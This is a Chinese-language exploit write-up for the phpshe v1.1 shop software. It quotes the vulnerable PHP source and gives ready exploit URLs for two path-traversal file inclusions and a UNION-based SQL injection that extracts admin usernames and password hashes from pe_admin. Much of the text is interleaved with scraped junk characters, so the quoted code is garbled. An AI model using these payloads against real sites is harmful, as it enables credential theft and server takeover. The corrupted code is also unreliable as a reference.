phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
( O: O0 T7 ?( ?+ e! s+ T/* By: : Kn1f3
+ D3 F0 q8 F7 D1 V: V3 X/ l/* E-Mail : 681796@qq.com
/ d2 B$ p+ g. {" @. K/ C* g/*******************************************************/
0×00 整体大概参数传输
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( l" _+ I: M. j
6 ]+ k5 \3 }) w# x. ?//common.php
. M4 C  p' `. p+ W: oif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
( s( ?$ }$ G' E. q6 w8 q}
else {
6 Q& D0 Z. }! x0 I  A!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
9 `5 W! _! v. C6 p}
9 }0 ~' M. W4 P0 e) r" _session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞


& r' D9 ?: \  l( N: x* w/ L8 [, k/ T- Z//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
6 E$ [  P% K6 a2 \include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
$ `) z4 A! y+ s1 T0 D  C8 D?>
9 w' G6 F; q! w) o; G/ y6 f//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
5 s& _2 p; W6 u7 c5 j$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
0 y1 Z  S9 f% U5 ?, D* i$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
) L" v4 P) b" a! e) i) F//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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- Y1 ?- z& J$ L7 c* m4 O 0×02 搜索注入

3 s6 ]- _: W) v* V* z<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
' l4 `; n. B* l6 e: d9 h' s7 I//搜索
$sqlwhere = " and `product_state` = 1";
$ H8 Z% n4 \" A# ^9 cpe_lead('hook/category.hook.php');
if ($category_id) {
$ W/ `  p8 ~3 L8 W/ _. E# b9 Kwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
) E; G0 L1 ^3 z* V& h}
( F: [- d* D- R+ T- a; O7 [- i$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
' i, H. h2 z& ~- i$ d5 @  s3 {$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
* L' D, j7 L" x: n}
! s+ o. M. L9 G- D8 `$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
+ I5 C; U8 t. |2 W: v$product_hotlist = product_hotlist();
9 s1 N; H5 l  U4 ^//当前路径
' ?$ ?$ @' \' h$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
' y$ O6 q0 I2 Cinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
3 s. g3 @! y  E4 F' D7 _# q}
# r  E2 s' L" ]//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

& Z/ \9 W) S; J0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

* y5 o+ v" [# `, q+ N* S' k7 H$order_id = pe_dbhold($_g_id);

! [# [& }" Y( T" Q  t" t$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

' L: E  b9 O% [, gif ($k == 'bank') {

  C3 i+ @6 g+ q, h$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

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$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

6 x8 F) Q' G( W) bif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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! ~8 E6 [6 G* @+ t" U- `7 f5 i4 K}

echo '正在为您连接支付网站，请稍后...';

0 p5 W$ E; L( Einclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

" m% L6 O8 ~* g: E8 ^}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

# j( Q8 {) w# P}

7 D5 U, c& [7 i& K3 Z% D}

- G, U7 A& F* P* m7 S$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

: a8 N4 `0 e0 o% Y* t! L/ bbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>